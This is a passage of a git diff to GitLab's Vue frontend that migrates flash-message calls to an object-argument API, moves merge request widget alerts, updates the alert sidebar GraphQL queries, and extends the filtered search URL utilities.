--- a/app/assets/javascripts/vue_merge_request_widget/components/states/work_in_progress.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/states/work_in_progress.vue
@@ -2,7 +2,7 @@
import { GlButton } from '@gitlab/ui';
import { produce } from 'immer';
import $ from 'jquery';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import { __ } from '~/locale';
import MergeRequest from '~/merge_request';
import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
@@ -76,7 +76,9 @@ export default {
},
) {
if (errors?.length) {
- createFlash(__('Something went wrong. Please try again.'));
+ createFlash({
+ message: __('Something went wrong. Please try again.'),
+ });
return;
}
@@ -121,11 +123,18 @@ export default {
},
},
}) => {
- createFlash(__('The merge request can now be merged.'), 'notice');
+ createFlash({
+ message: __('The merge request can now be merged.'),
+ type: 'notice',
+ });
$('.merge-request .detail-page-description .title').text(title);
},
)
- .catch(() => createFlash(__('Something went wrong. Please try again.')))
+ .catch(() =>
+ createFlash({
+ message: __('Something went wrong. Please try again.'),
+ }),
+ )
.finally(() => {
this.isMakingRequest = false;
});
@@ -144,7 +153,9 @@ export default {
})
.catch(() => {
this.isMakingRequest = false;
- createFlash(__('Something went wrong. Please try again.'));
+ createFlash({
+ message: __('Something went wrong. Please try again.'),
+ });
});
}
},
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/terraform/mr_widget_terraform_container.vue b/app/assets/javascripts/vue_merge_request_widget/components/terraform/mr_widget_terraform_container.vue
index 25f339b362f..2ba945a3ecf 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/terraform/mr_widget_terraform_container.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/terraform/mr_widget_terraform_container.vue
@@ -107,7 +107,7 @@ export default {
<template #header>
<div
data-testid="terraform-header-text"
- class="gl-flex-fill-1 gl-display-flex gl-flex-direction-column"
+ class="gl-flex-grow-1 gl-display-flex gl-flex-direction-column"
>
<p v-if="validPlanCountText" class="gl-m-0">
<gl-sprintf :message="validPlanCountText">
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/terraform/terraform_plan.vue b/app/assets/javascripts/vue_merge_request_widget/components/terraform/terraform_plan.vue
index 25e3dae92e8..427ab0842ea 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/terraform/terraform_plan.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/terraform/terraform_plan.vue
@@ -71,8 +71,8 @@ export default {
<gl-icon :name="iconType" :size="16" data-testid="change-type-icon" />
</span>
- <div class="gl-display-flex gl-flex-fill-1 gl-flex-direction-column flex-md-row gl-pl-3">
- <div class="gl-flex-fill-1 gl-display-flex gl-flex-direction-column gl-pr-3">
+ <div class="gl-display-flex gl-flex-grow-1 gl-flex-direction-column flex-md-row gl-pl-3">
+ <div class="gl-flex-grow-1 gl-display-flex gl-flex-direction-column gl-pr-3">
<p class="gl-mb-3 gl-line-height-normal">
<gl-sprintf :message="reportHeaderText">
<template #name>
diff --git a/app/assets/javascripts/vue_merge_request_widget/constants.js b/app/assets/javascripts/vue_merge_request_widget/constants.js
index 822fb58db60..d067e531fad 100644
--- a/app/assets/javascripts/vue_merge_request_widget/constants.js
+++ b/app/assets/javascripts/vue_merge_request_widget/constants.js
@@ -4,9 +4,7 @@ export const SUCCESS = 'success';
export const WARNING = 'warning';
export const DANGER = 'danger';
export const INFO = 'info';
-
-export const WARNING_MESSAGE_CLASS = 'warning_message';
-export const DANGER_MESSAGE_CLASS = 'danger_message';
+export const CONFIRM = 'confirm';
export const MWPS_MERGE_STRATEGY = 'merge_when_pipeline_succeeds';
export const MTWPS_MERGE_STRATEGY = 'add_to_merge_train_when_pipeline_succeeds';
diff --git a/app/assets/javascripts/vue_merge_request_widget/mr_widget_options.vue b/app/assets/javascripts/vue_merge_request_widget/mr_widget_options.vue
index 0cfb059b0ce..e9dcf494099 100644
--- a/app/assets/javascripts/vue_merge_request_widget/mr_widget_options.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/mr_widget_options.vue
@@ -10,7 +10,7 @@ import notify from '~/lib/utils/notify';
import { sprintf, s__, __ } from '~/locale';
import Project from '~/pages/projects/project';
import SmartInterval from '~/smart_interval';
-import { deprecatedCreateFlash as createFlash } from '../flash';
+import createFlash from '../flash';
import { setFaviconOverlay } from '../lib/utils/favicon';
import GroupedAccessibilityReportsApp from '../reports/accessibility_report/grouped_accessibility_reports_app.vue';
import GroupedCodequalityReportsApp from '../reports/codequality_report/grouped_codequality_reports_app.vue';
@@ -198,6 +198,9 @@ export default {
formattedHumanAccess() {
return (this.mr.humanAccess || '').toLowerCase();
},
+ hasAlerts() {
+ return this.mr.mergeError || this.showMergePipelineForkWarning;
+ },
},
watch: {
state(newVal, oldVal) {
@@ -214,7 +217,9 @@ export default {
this.initWidget(data);
})
.catch(() =>
- createFlash(__('Unable to load the merge request widget. Try reloading the page.')),
+ createFlash({
+ message: __('Unable to load the merge request widget. Try reloading the page.'),
+ }),
);
},
beforeDestroy() {
@@ -295,7 +300,11 @@ export default {
cb.call(null, data);
}
})
- .catch(() => createFlash(__('Something went wrong. Please try again.')));
+ .catch(() =>
+ createFlash({
+ message: __('Something went wrong. Please try again.'),
+ }),
+ );
},
setFaviconHelper() {
if (this.mr.ciStatusFaviconPath) {
@@ -349,11 +358,11 @@ export default {
.catch(() => this.throwDeploymentsError());
},
throwDeploymentsError() {
- createFlash(
- __(
+ createFlash({
+ message: __(
'Something went wrong while fetching the environments for this merge request. Please try again.',
),
- );
+ });
},
fetchActionsContent() {
this.service
@@ -367,7 +376,11 @@ export default {
Project.initRefSwitcher();
}
})
- .catch(() => createFlash(__('Something went wrong. Please try again.')));
+ .catch(() =>
+ createFlash({
+ message: __('Something went wrong. Please try again.'),
+ }),
+ );
},
handleNotification(data) {
if (data.ci_status === this.mr.ciStatus) return;
@@ -432,7 +445,12 @@ export default {
</script>
<template>
<div v-if="isLoaded" class="mr-state-widget gl-mt-3">
- <mr-widget-header :mr="mr" />
+ <header class="gl-rounded-base gl-border-solid gl-border-1 gl-border-gray-100">
+ <mr-widget-alert-message v-if="shouldRenderCollaborationStatus" type="info">
+ {{ s__('mrWidget|Members who can merge are allowed to add commits.') }}
+ </mr-widget-alert-message>
+ <mr-widget-header :mr="mr" />
+ </header>
<mr-widget-suggest-pipeline
v-if="shouldSuggestPipelines"
data-testid="mr-suggest-pipeline"
@@ -456,10 +474,32 @@ export default {
:service="service"
/>
<div class="mr-section-container mr-widget-workflow">
+ <div v-if="hasAlerts" class="gl-overflow-hidden mr-widget-alert-container">
+ <mr-widget-alert-message v-if="mr.mergeError" type="danger" dismissible>
+ <span v-safe-html="mergeError"></span>
+ </mr-widget-alert-message>
+ <mr-widget-alert-message
+ v-if="showMergePipelineForkWarning"
+ type="warning"
+ :help-path="mr.mergeRequestPipelinesHelpPath"
+ >
+ {{
+ s__(
+ 'mrWidget|If the last pipeline ran in the fork project, it may be inaccurate. Before merge, we advise running a pipeline in this project.',
+ )
+ }}
+ <template #link-content>
+ {{ __('Learn more') }}
+ </template>
+ </mr-widget-alert-message>
+ </div>
<!-- <extensions-container :mr="mr" /> -->
<grouped-codequality-reports-app
v-if="shouldRenderCodeQuality"
:base-path="mr.codeclimate.base_path"
+ :head-path="mr.codeclimate.head_path"
+ :head-blob-path="mr.headBlobPath"
+ :base-blob-path="mr.baseBlobPath"
:codequality-reports-path="mr.codequalityReportsPath"
:codequality-help-path="mr.codequalityHelpPath"
/>
@@ -492,34 +532,12 @@ export default {
<component :is="componentName" :mr="mr" :service="service" />
<div class="mr-widget-info">
- <section v-if="shouldRenderCollaborationStatus" class="mr-info-list mr-links">
- <p>
- {{ s__('mrWidget|Allows commits from members who can merge to the target branch') }}
- </p>
- </section>
-
<mr-widget-related-links
v-if="shouldRenderRelatedLinks"
:state="mr.state"
:related-links="mr.relatedLinks"
/>
- <mr-widget-alert-message
- v-if="showMergePipelineForkWarning"
- type="warning"
- :help-path="mr.mergeRequestPipelinesHelpPath"
- >
- {{
- s__(
- 'mrWidget|If the last pipeline ran in the fork project, it may be inaccurate. Before merge, we advise running a pipeline in this project.',
- )
- }}
- </mr-widget-alert-message>
-
- <mr-widget-alert-message v-if="mr.mergeError" type="danger">
- <span v-safe-html="mergeError"></span>
- </mr-widget-alert-message>
-
<source-branch-removal-status v-if="shouldRenderSourceBranchRemovalStatus" />
</div>
</div>
diff --git a/app/assets/javascripts/vue_merge_request_widget/stores/mr_widget_store.js b/app/assets/javascripts/vue_merge_request_widget/stores/mr_widget_store.js
index 9f85140bab8..4cc2f423d73 100644
--- a/app/assets/javascripts/vue_merge_request_widget/stores/mr_widget_store.js
+++ b/app/assets/javascripts/vue_merge_request_widget/stores/mr_widget_store.js
@@ -44,7 +44,6 @@ export default class MergeRequestStore {
this.sourceBranch = data.source_branch;
this.sourceBranchProtected = data.source_branch_protected;
this.conflictsDocsPath = data.conflicts_docs_path;
- this.mergeRequestPipelinesHelpPath = data.merge_request_pipelines_docs_path;
this.mergeTrainWhenPipelineSucceedsDocsPath = data.merge_train_when_pipeline_succeeds_docs_path;
this.commitMessage = data.default_merge_commit_message;
this.shortMergeCommitSha = data.short_merged_commit_sha;
diff --git a/app/assets/javascripts/vue_shared/alert_details/components/alert_details.vue b/app/assets/javascripts/vue_shared/alert_details/components/alert_details.vue
index 3905ce2596c..d595c49f9aa 100644
--- a/app/assets/javascripts/vue_shared/alert_details/components/alert_details.vue
+++ b/app/assets/javascripts/vue_shared/alert_details/components/alert_details.vue
@@ -24,7 +24,7 @@ import TimeAgoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
import { PAGE_CONFIG, SEVERITY_LEVELS } from '../constants';
import createIssueMutation from '../graphql/mutations/alert_issue_create.mutation.graphql';
import toggleSidebarStatusMutation from '../graphql/mutations/alert_sidebar_status.mutation.graphql';
-import alertQuery from '../graphql/queries/alert_details.query.graphql';
+import alertQuery from '../graphql/queries/alert_sidebar_details.query.graphql';
import sidebarStatusQuery from '../graphql/queries/alert_sidebar_status.query.graphql';
import AlertMetrics from './alert_metrics.vue';
import AlertSidebar from './alert_sidebar.vue';
diff --git a/app/assets/javascripts/vue_shared/alert_details/components/sidebar/sidebar_assignees.vue b/app/assets/javascripts/vue_shared/alert_details/components/sidebar/sidebar_assignees.vue
index ef31106b709..b7544a4a5d0 100644
--- a/app/assets/javascripts/vue_shared/alert_details/components/sidebar/sidebar_assignees.vue
+++ b/app/assets/javascripts/vue_shared/alert_details/components/sidebar/sidebar_assignees.vue
@@ -167,10 +167,10 @@ export default {
variables: {
iid: this.alert.iid,
assigneeUsernames: [this.isActive(assignees) ? '' : assignees],
- projectPath: this.projectPath,
+ fullPath: this.projectPath,
},
})
- .then(({ data: { alertSetAssignees: { errors } = [] } = {} } = {}) => {
+ .then(({ data: { issuableSetAssignees: { errors } = [] } = {} } = {}) => {
this.hideDropdown();
if (errors[0]) {
diff --git a/app/assets/javascripts/vue_shared/alert_details/components/sidebar/sidebar_status.vue b/app/assets/javascripts/vue_shared/alert_details/components/sidebar/sidebar_status.vue
index 8715eb99518..ce90a759cee 100644
--- a/app/assets/javascripts/vue_shared/alert_details/components/sidebar/sidebar_status.vue
+++ b/app/assets/javascripts/vue_shared/alert_details/components/sidebar/sidebar_status.vue
@@ -1,11 +1,12 @@
<script>
-import { GlIcon, GlLoadingIcon, GlTooltip, GlSprintf } from '@gitlab/ui';
+import { GlButton, GlIcon, GlLoadingIcon, GlTooltip, GlSprintf } from '@gitlab/ui';
import { PAGE_CONFIG } from '../../constants';
import AlertStatus from '../alert_status.vue';
export default {
components: {
GlIcon,
+ GlButton,
GlLoadingIcon,
GlTooltip,
GlSprintf,
@@ -96,16 +97,15 @@ export default {
class="gl-text-gray-900 gl-mb-2 gl-line-height-20 gl-display-flex gl-justify-content-space-between"
>
{{ s__('AlertManagement|Status') }}
- <a
+ <gl-button
v-if="isEditable"
- ref="editButton"
- class="btn-link"
- href="#"
+ class="gl-text-black-normal!"
+ variant="link"
@click="toggleFormDropdown"
@keydown.esc="hideDropdown"
>
{{ s__('AlertManagement|Edit') }}
- </a>
+ </gl-button>
</p>
<alert-status
diff --git a/app/assets/javascripts/vue_shared/alert_details/components/sidebar/sidebar_todo.vue b/app/assets/javascripts/vue_shared/alert_details/components/sidebar/sidebar_todo.vue
index a2a4046ab81..322ea64eb7e 100644
--- a/app/assets/javascripts/vue_shared/alert_details/components/sidebar/sidebar_todo.vue
+++ b/app/assets/javascripts/vue_shared/alert_details/components/sidebar/sidebar_todo.vue
@@ -4,7 +4,7 @@ import todoMarkDoneMutation from '~/graphql_shared/mutations/todo_mark_done.muta
import { s__ } from '~/locale';
import Todo from '~/sidebar/components/todo_toggle/todo.vue';
import createAlertTodoMutation from '../../graphql/mutations/alert_todo_create.mutation.graphql';
-import alertQuery from '../../graphql/queries/alert_details.query.graphql';
+import alertQuery from '../../graphql/queries/alert_sidebar_details.query.graphql';
export default {
i18n: {
diff --git a/app/assets/javascripts/vue_shared/alert_details/graphql/mutations/alert_set_assignees.mutation.graphql b/app/assets/javascripts/vue_shared/alert_details/graphql/mutations/alert_set_assignees.mutation.graphql
index 63d952a4857..33091f1ba5e 100644
--- a/app/assets/javascripts/vue_shared/alert_details/graphql/mutations/alert_set_assignees.mutation.graphql
+++ b/app/assets/javascripts/vue_shared/alert_details/graphql/mutations/alert_set_assignees.mutation.graphql
@@ -1,18 +1,18 @@
#import "~/graphql_shared/fragments/alert_note.fragment.graphql"
+#import "~/graphql_shared/fragments/user.fragment.graphql"
+#import "~/graphql_shared/fragments/user_availability.fragment.graphql"
-mutation alertSetAssignees($projectPath: ID!, $assigneeUsernames: [String!]!, $iid: String!) {
- alertSetAssignees(
- input: { iid: $iid, assigneeUsernames: $assigneeUsernames, projectPath: $projectPath }
+mutation alertSetAssignees($fullPath: ID!, $assigneeUsernames: [String!]!, $iid: String!) {
+ issuableSetAssignees: alertSetAssignees(
+ input: { iid: $iid, assigneeUsernames: $assigneeUsernames, projectPath: $fullPath }
) {
errors
- alert {
+ issuable: alert {
iid
assignees {
nodes {
- username
- name
- avatarUrl
- webUrl
+ ...User
+ ...UserAvailability
}
}
notes {
diff --git a/app/assets/javascripts/vue_shared/alert_details/graphql/mutations/alert_todo_create.mutation.graphql b/app/assets/javascripts/vue_shared/alert_details/graphql/mutations/alert_todo_create.mutation.graphql
index dc961b5eb90..c860bf0915c 100644
--- a/app/assets/javascripts/vue_shared/alert_details/graphql/mutations/alert_todo_create.mutation.graphql
+++ b/app/assets/javascripts/vue_shared/alert_details/graphql/mutations/alert_todo_create.mutation.graphql
@@ -1,10 +1,16 @@
-#import "../fragments/alert_detail_item.fragment.graphql"
+#import "~/graphql_shared/fragments/alert_detail_item.fragment.graphql"
+#import "~/graphql_shared/fragments/user.fragment.graphql"
mutation alertTodoCreate($projectPath: ID!, $iid: String!) {
alertTodoCreate(input: { iid: $iid, projectPath: $projectPath }) {
errors
alert {
...AlertDetailItem
+ assignees {
+ nodes {
+ ...User
+ }
+ }
}
}
}
diff --git a/app/assets/javascripts/vue_shared/alert_details/graphql/queries/alert_sidebar_details.query.graphql b/app/assets/javascripts/vue_shared/alert_details/graphql/queries/alert_sidebar_details.query.graphql
new file mode 100644
index 00000000000..da5f1a00e11
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/alert_details/graphql/queries/alert_sidebar_details.query.graphql
@@ -0,0 +1,17 @@
+#import "~/graphql_shared/fragments/alert_detail_item.fragment.graphql"
+#import "~/graphql_shared/fragments/user.fragment.graphql"
+
+query alertDetails($fullPath: ID!, $alertId: String) {
+ project(fullPath: $fullPath) {
+ alertManagementAlerts(iid: $alertId) {
+ nodes {
+ ...AlertDetailItem
+ assignees {
+ nodes {
+ ...User
+ }
+ }
+ }
+ }
+ }
+}
diff --git a/app/assets/javascripts/vue_shared/components/alert_details_table.vue b/app/assets/javascripts/vue_shared/components/alert_details_table.vue
index a74e9d97143..ba4279fe3e3 100644
--- a/app/assets/javascripts/vue_shared/components/alert_details_table.vue
+++ b/app/assets/javascripts/vue_shared/components/alert_details_table.vue
@@ -1,11 +1,12 @@
<script>
-import { GlLoadingIcon, GlTable } from '@gitlab/ui';
+import { GlLink, GlLoadingIcon, GlTable } from '@gitlab/ui';
import { reduce } from 'lodash';
import {
capitalizeFirstCharacter,
convertToSentenceCase,
splitCamelCase,
} from '~/lib/utils/text_utility';
+import { isSafeURL } from '~/lib/utils/url_utility';
import { s__ } from '~/locale';
import { PAGE_CONFIG } from '~/vue_shared/alert_details/constants';
@@ -30,6 +31,7 @@ const allowedFields = [
export default {
components: {
+ GlLink,
GlLoadingIcon,
GlTable,
},
@@ -94,6 +96,9 @@ export default {
isAllowed(fieldName) {
return allowedFields.includes(fieldName);
},
+ isValidLink(value) {
+ return typeof value === 'string' && isSafeURL(value);
+ },
},
};
</script>
@@ -109,5 +114,11 @@ export default {
<template #table-busy>
<gl-loading-icon size="lg" color="dark" class="gl-mt-5" />
</template>
+ <template #cell(value)="{ item: { value } }">
+ <span v-if="!isValidLink(value)">{{ value }}</span>
+ <gl-link v-else :href="value" target="_blank">
+ {{ value }}
+ </gl-link>
+ </template>
</gl-table>
</template>
diff --git a/app/assets/javascripts/vue_shared/components/alerts_deprecation_warning.vue b/app/assets/javascripts/vue_shared/components/alerts_deprecation_warning.vue
index 1f293b2150f..16ca2df02c0 100644
--- a/app/assets/javascripts/vue_shared/components/alerts_deprecation_warning.vue
+++ b/app/assets/javascripts/vue_shared/components/alerts_deprecation_warning.vue
@@ -22,7 +22,12 @@ export default {
</script>
<template>
- <gl-alert v-if="hasManagedPrometheus" variant="warning" class="my-2">
+ <gl-alert
+ v-if="hasManagedPrometheus"
+ variant="warning"
+ class="my-2"
+ data-testid="alerts-deprecation-warning"
+ >
<gl-sprintf :message="$options.i18n.alertsDeprecationText">
<template #link="{ content }">
<gl-link
diff --git a/app/assets/javascripts/vue_shared/components/awards_list.vue b/app/assets/javascripts/vue_shared/components/awards_list.vue
index 08d3e163257..e6d9a38d1fb 100644
--- a/app/assets/javascripts/vue_shared/components/awards_list.vue
+++ b/app/assets/javascripts/vue_shared/components/awards_list.vue
@@ -173,7 +173,7 @@ export default {
v-for="awardList in groupedAwards"
:key="awardList.name"
v-gl-tooltip.viewport
- class="gl-mr-3"
+ class="gl-mr-3 gl-my-2"
:class="awardList.classes"
:title="awardList.title"
data-testid="award-button"
@@ -184,10 +184,10 @@ export default {
</template>
<span class="js-counter">{{ awardList.list.length }}</span>
</gl-button>
- <div v-if="canAwardEmoji" class="award-menu-holder">
+ <div v-if="canAwardEmoji" class="award-menu-holder gl-my-2">
<emoji-picker
v-if="glFeatures.improvedEmojiPicker"
- :toggle-class="['add-reaction-button gl-relative!', { 'is-active': isMenuOpen }]"
+ :toggle-class="['add-reaction-button btn-icon gl-relative!', { 'is-active': isMenuOpen }]"
@click="handleAward"
@shown="setIsMenuOpen(true)"
@hidden="setIsMenuOpen(false)"
diff --git a/app/assets/javascripts/vue_shared/components/filtered_search_bar/constants.js b/app/assets/javascripts/vue_shared/components/filtered_search_bar/constants.js
index 2cb1b6a195f..9775a9119c6 100644
--- a/app/assets/javascripts/vue_shared/components/filtered_search_bar/constants.js
+++ b/app/assets/javascripts/vue_shared/components/filtered_search_bar/constants.js
@@ -21,7 +21,7 @@ export const DEFAULT_ITERATIONS = DEFAULT_NONE_ANY.concat([
{ value: FILTER_CURRENT, text: __(FILTER_CURRENT) },
]);
-export const DEFAULT_LABELS = [{ value: 'No label', text: __('No label') }]; // eslint-disable-line @gitlab/require-i18n-strings
+export const DEFAULT_LABELS = [DEFAULT_LABEL_NONE, DEFAULT_LABEL_ANY];
export const DEFAULT_MILESTONES = DEFAULT_NONE_ANY.concat([
{ value: 'Upcoming', text: __('Upcoming') }, // eslint-disable-line @gitlab/require-i18n-strings
diff --git a/app/assets/javascripts/vue_shared/components/filtered_search_bar/filtered_search_bar_root.vue b/app/assets/javascripts/vue_shared/components/filtered_search_bar/filtered_search_bar_root.vue
index 3e7feb91b27..5ab287150f2 100644
--- a/app/assets/javascripts/vue_shared/components/filtered_search_bar/filtered_search_bar_root.vue
+++ b/app/assets/javascripts/vue_shared/components/filtered_search_bar/filtered_search_bar_root.vue
@@ -12,7 +12,7 @@ import {
import RecentSearchesStorageKeys from 'ee_else_ce/filtered_search/recent_searches_storage_keys';
import RecentSearchesService from '~/filtered_search/services/recent_searches_service';
import RecentSearchesStore from '~/filtered_search/stores/recent_searches_store';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import { __ } from '~/locale';
import { SortDirection } from './constants';
@@ -211,7 +211,9 @@ export default {
.catch((error) => {
if (error.name === 'RecentSearchesServiceError') return undefined;
- createFlash(__('An error occurred while parsing recent searches'));
+ createFlash({
+ message: __('An error occurred while parsing recent searches'),
+ });
// Gracefully fail to empty array
return [];
diff --git a/app/assets/javascripts/vue_shared/components/filtered_search_bar/filtered_search_utils.js b/app/assets/javascripts/vue_shared/components/filtered_search_bar/filtered_search_utils.js
index e5c8d29e09b..37436de907f 100644
--- a/app/assets/javascripts/vue_shared/components/filtered_search_bar/filtered_search_utils.js
+++ b/app/assets/javascripts/vue_shared/components/filtered_search_bar/filtered_search_utils.js
@@ -2,7 +2,7 @@ import { isEmpty, uniqWith, isEqual } from 'lodash';
import AccessorUtilities from '~/lib/utils/accessor';
import { queryToObject } from '~/lib/utils/url_utility';
-import { MAX_RECENT_TOKENS_SIZE } from './constants';
+import { MAX_RECENT_TOKENS_SIZE, FILTERED_SEARCH_TERM } from './constants';
/**
* Strips enclosing quotations from a string if it has one.
@@ -23,7 +23,7 @@ export const stripQuotes = (value) => value.replace(/^('|")(.*)('|")$/, '$2');
export const uniqueTokens = (tokens) => {
const knownTokens = [];
return tokens.reduce((uniques, token) => {
- if (typeof token === 'object' && token.type !== 'filtered-search-term') {
+ if (typeof token === 'object' && token.type !== FILTERED_SEARCH_TERM) {
const tokenString = `${token.type}${token.value.operator}${token.value.data}`;
if (!knownTokens.includes(tokenString)) {
uniques.push(token);
@@ -86,21 +86,37 @@ export function processFilters(filters) {
}, {});
}
+function filteredSearchQueryParam(filter) {
+ return filter
+ .map(({ value }) => value)
+ .join(' ')
+ .trim();
+}
+
/**
* This function takes a filter object and maps it into a query object. Example filter:
- * { myFilterName: { value: 'foo', operator: '=' } }
+ * { myFilterName: { value: 'foo', operator: '=' }, search: [{ value: 'my' }, { value: 'search' }] }
* gets translated into:
- * { myFilterName: 'foo', 'not[myFilterName]': null }
+ * { myFilterName: 'foo', 'not[myFilterName]': null, search: 'my search' }
* @param {Object} filters
- * @param {Object.myFilterName} a single filter value or an array of filters
+ * @param {Object} filters.myFilterName a single filter value or an array of filters
+ * @param {Object} options
+ * @param {Object} [options.filteredSearchTermKey] if set, 'filtered-search-term' filters are assigned to this key, 'search' is suggested
* @return {Object} query object with both filter name and not-name with values
*/
-export function filterToQueryObject(filters = {}) {
+export function filterToQueryObject(filters = {}, options = {}) {
+ const { filteredSearchTermKey } = options;
+
return Object.keys(filters).reduce((memo, key) => {
const filter = filters[key];
+ if (typeof filteredSearchTermKey === 'string' && key === FILTERED_SEARCH_TERM) {
+ return { ...memo, [filteredSearchTermKey]: filteredSearchQueryParam(filter) };
+ }
+
let selected;
let unselected;
+
if (Array.isArray(filter)) {
selected = filter.filter((item) => item.operator === '=').map((item) => item.value);
unselected = filter.filter((item) => item.operator === '!=').map((item) => item.value);
@@ -125,7 +141,7 @@ export function filterToQueryObject(filters = {}) {
* and returns the operator with it depending on the filter name
* @param {String} filterName from url
* @return {Object}
- * @return {Object.filterName} extracted filtern ame
+ * @return {Object.filterName} extracted filter name
* @return {Object.operator} `=` or `!=`
*/
function extractNameAndOperator(filterName) {
@@ -138,21 +154,52 @@ function extractNameAndOperator(filterName) {
}
/**
+ * Gathers search term as values
+ * @param {String|Array} value
+ * @returns {Array} List of search terms split by word
+ */
+function filteredSearchTermValue(value) {
+ const values = Array.isArray(value) ? value : [value];
+ return values
+ .filter((term) => term)
+ .join(' ')
+ .split(' ')
+ .map((term) => ({ value: term }));
+}
+
+/**
* This function takes a URL query string and maps it into a filter object. Example query string:
* '?myFilterName=foo'
* gets translated into:
* { myFilterName: { value: 'foo', operator: '=' } }
- * @param {String} query URL quert string, e.g. from `window.location.search`
+ * @param {String} query URL query string, e.g. from `window.location.search`
+ * @param {Object} options
+ * @param {Object} options
+ * @param {String} [options.filteredSearchTermKey] if set, a FILTERED_SEARCH_TERM filter is created to this parameter. `'search'` is suggested
+ * @param {String[]} [options.filterNamesAllowList] if set, only this list of filters names is mapped
+ * @param {Boolean} [options.legacySpacesDecode] if set, plus symbols (+) are not encoded as spaces. `false` is suggested
* @return {Object} filter object with filter names and their values
*/
-export function urlQueryToFilter(query = '') {
- const filters = queryToObject(query, { gatherArrays: true });
+export function urlQueryToFilter(query = '', options = {}) {
+ const { filteredSearchTermKey, filterNamesAllowList, legacySpacesDecode = true } = options;
+
+ const filters = queryToObject(query, { gatherArrays: true, legacySpacesDecode });
return Object.keys(filters).reduce((memo, key) => {
const value = filters[key];
if (!value) {
return memo;
}
+ if (key === filteredSearchTermKey) {
+ return {
+ ...memo,
+ [FILTERED_SEARCH_TERM]: filteredSearchTermValue(value),
+ };
+ }
+
const { filterName, operator } = extractNameAndOperator(key);
+ if (filterNamesAllowList && !filterNamesAllowList.includes(filterName)) {
+ return memo;
+ }
let previousValues = [];
if (Array.isArray(memo[filterName])) {
previousValues = memo[filterName];
diff --git a/app/assets/javascripts/vue_shared/components/filtered_search_bar/store/modules/filters/actions.js b/app/assets/javascripts/vue_shared/components/filtered_search_bar/store/modules/filters/actions.js
index 4dfc61f1fff..f4317ba90a2 100644
--- a/app/assets/javascripts/vue_shared/components/filtered_search_bar/store/modules/filters/actions.js
+++ b/app/assets/javascripts/vue_shared/components/filtered_search_bar/store/modules/filters/actions.js
@@ -1,5 +1,5 @@
import Api from '~/api';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { __ } from '~/locale';
import * as types from './mutation_types';
@@ -24,7 +24,9 @@ export function fetchBranches({ commit, state }, search = '') {
.catch(({ response }) => {
const { status } = response;
commit(types.RECEIVE_BRANCHES_ERROR, status);
- createFlash(__('Failed to load branches. Please try again.'));
+ createFlash({
+ message: __('Failed to load branches. Please try again.'),
+ });
});
}
@@ -41,7 +43,9 @@ export const fetchMilestones = ({ commit, state }, search_title = '') => {
.catch(({ response }) => {
const { status } = response;
commit(types.RECEIVE_MILESTONES_ERROR, status);
- createFlash(__('Failed to load milestones. Please try again.'));
+ createFlash({
+ message: __('Failed to load milestones. Please try again.'),
+ });
});
};
@@ -57,7 +61,9 @@ export const fetchLabels = ({ commit, state }, search = '') => {
.catch(({ response }) => {
const { status } = response;
commit(types.RECEIVE_LABELS_ERROR, status);
- createFlash(__('Failed to load labels. Please try again.'));
+ createFlash({
+ message: __('Failed to load labels. Please try again.'),
+ });
});
};
@@ -80,7 +86,9 @@ function fetchUser(options = {}) {
.catch(({ response }) => {
const { status } = response;
commit(`RECEIVE_${action}_ERROR`, status);
- createFlash(errorMessage);
+ createFlash({
+ message: errorMessage,
+ });
});
}
diff --git a/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/author_token.vue b/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/author_token.vue
index aeb698a3adb..2e7b3e149b2 100644
--- a/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/author_token.vue
+++ b/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/author_token.vue
@@ -1,25 +1,18 @@
<script>
-import {
- GlFilteredSearchToken,
- GlAvatar,
- GlFilteredSearchSuggestion,
- GlDropdownDivider,
- GlLoadingIcon,
-} from '@gitlab/ui';
-import { debounce } from 'lodash';
+import { GlAvatar, GlFilteredSearchSuggestion } from '@gitlab/ui';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import { __ } from '~/locale';
-import { DEFAULT_LABEL_ANY, DEBOUNCE_DELAY } from '../constants';
+import { DEFAULT_LABEL_ANY } from '../constants';
+
+import BaseToken from './base_token.vue';
export default {
components: {
- GlFilteredSearchToken,
+ BaseToken,
GlAvatar,
GlFilteredSearchSuggestion,
- GlDropdownDivider,
- GlLoadingIcon,
},
props: {
config: {
@@ -30,37 +23,28 @@ export default {
type: Object,
required: true,
},
+ active: {
+ type: Boolean,
+ required: true,
+ },
},
data() {
return {
authors: this.config.initialAuthors || [],
defaultAuthors: this.config.defaultAuthors || [DEFAULT_LABEL_ANY],
- loading: true,
+ preloadedAuthors: this.config.preloadedAuthors || [],
+ loading: false,
};
},
- computed: {
- currentValue() {
- return this.value.data.toLowerCase();
- },
- activeAuthor() {
- return this.authors.find((author) => author.username.toLowerCase() === this.currentValue);
- },
- activeAuthorAvatar() {
- return this.avatarUrl(this.activeAuthor);
+ methods: {
+ getActiveAuthor(authors, currentValue) {
+ return authors.find((author) => author.username.toLowerCase() === currentValue);
},
- },
- watch: {
- active: {
- immediate: true,
- handler(newValue) {
- if (!newValue && !this.authors.length) {
- this.fetchAuthorBySearchTerm(this.value.data);
- }
- },
+ getAvatarUrl(author) {
+ return author.avatarUrl || author.avatar_url;
},
- },
- methods: {
fetchAuthorBySearchTerm(searchTerm) {
+ this.loading = true;
const fetchPromise = this.config.fetchPath
? this.config.fetchAuthors(this.config.fetchPath, searchTerm)
: this.config.fetchAuthors(searchTerm);
@@ -72,63 +56,56 @@ export default {
// return response differently.
this.authors = Array.isArray(res) ? res : res.data;
})
- .catch(() => createFlash(__('There was a problem fetching users.')))
